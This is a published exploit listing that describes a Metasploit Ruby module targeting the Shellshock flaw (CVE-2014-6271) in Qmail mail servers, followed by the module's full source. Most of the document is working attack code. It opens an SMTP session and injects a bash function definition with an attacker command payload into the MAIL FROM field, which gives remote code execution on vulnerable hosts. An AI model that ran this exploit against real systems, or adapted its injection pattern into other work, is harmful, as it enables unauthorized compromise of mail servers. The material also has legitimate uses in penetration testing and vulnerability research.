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Qmail SMTP Bash Environment Variable Injection (Shellshock)

Qmail SMTP Bash Environment Variable Injection (Shellshock)
Posted Sep 29, 2017
Authored by Kyle George, Gabriel Follon, Mario Ledo | Site metasploit.com

This Metasploit module exploits a shellshock vulnerability on Qmail, a public domain MTA written in C that runs on Unix systems. Due to the lack of validation on the MAIL FROM field, it is possible to execute shell code on a system with a vulnerable BASH (Shellshock). This flaw works on the latest Qmail versions (qmail-1.03 and netqmail-1.06). However, in order to execute code, /bin/sh has to be linked to bash (usually default configuration) and a valid recipient must be set on the RCPT TO field (usually admin@exampledomain.com). The exploit does not work on the "qmailrocks" community version as it ensures the MAILFROM field is well-formed.

tags | exploit, shell, bash
systems | unix
advisories | CVE-2014-6271
MD5 | e886215786e8070f396bf10bc995a777

Qmail SMTP Bash Environment Variable Injection (Shellshock)

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Smtp

def initialize(info={})
super(update_info(info,
'Name' => 'Qmail SMTP Bash Environment Variable Injection (Shellshock)',
'Description' => %q{
This module exploits a shellshock vulnerability on Qmail, a public
domain MTA written in C that runs on Unix systems.
Due to the lack of validation on the MAIL FROM field, it is possible to
execute shell code on a system with a vulnerable BASH (Shellshock).
This flaw works on the latest Qmail versions (qmail-1.03 and
netqmail-1.06).
However, in order to execute code, /bin/sh has to be linked to bash
(usually default configuration) and a valid recipient must be set on the
RCPT TO field (usually admin@exampledomain.com).
The exploit does not work on the "qmailrocks" community version
as it ensures the MAILFROM field is well-formed.
},
'Author' =>
[
'Mario Ledo (Metasploit module)',
'Gabriel Follon (Metasploit module)',
'Kyle George (Vulnerability discovery)'
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'References' =>
[
['CVE', '2014-6271'],
['CWE', '94'],
['OSVDB', '112004'],
['EDB', '34765'],
['URL', 'http://seclists.org/oss-sec/2014/q3/649'],
['URL', 'https://lists.gt.net/qmail/users/138578']
],
'Payload' =>
{
'BadChars' => "\x3e",
'Space' => 888,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet perl ruby python'
# telnet ruby python and perl works only if installed on target
}
},
'Targets' => [ [ 'Automatic', { }] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014'
))

deregister_options('MAILFROM')
end

def smtp_send(data = nil)
begin
result = ''
code = 0
sock.put("#{data}")
result = sock.get_once
result.chomp! if (result)
code = result[0..2].to_i if result
return result, code
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError
return result, 0
rescue ::Exception => e
print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")
return nil, 0
end
end

def exploit
to = datastore['MAILTO']
connect
result = smtp_send("HELO localhost\r\n")
if result[1] < 200 || result[1] > 300
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
end
print_status('Sending the payload...')
result = smtp_send("mail from:<() { :; }; " + payload.encoded.gsub!(/\\/, '\\\\\\\\') + ">\r\n")
if result[1] < 200 || result[1] > 300
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
end
print_status("Sending RCPT TO #{to}")
result = smtp_send("rcpt to:<#{to}>\r\n")
if result[1] < 200 || result[1] > 300
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
end
result = smtp_send("data\r\n")
if result[1] < 200 || result[1] > 354
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
end
result = smtp_send("data\r\n\r\nfoo\r\n\r\n.\r\n")
if result[1] < 200 || result[1] > 300
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
end
disconnect
end
end
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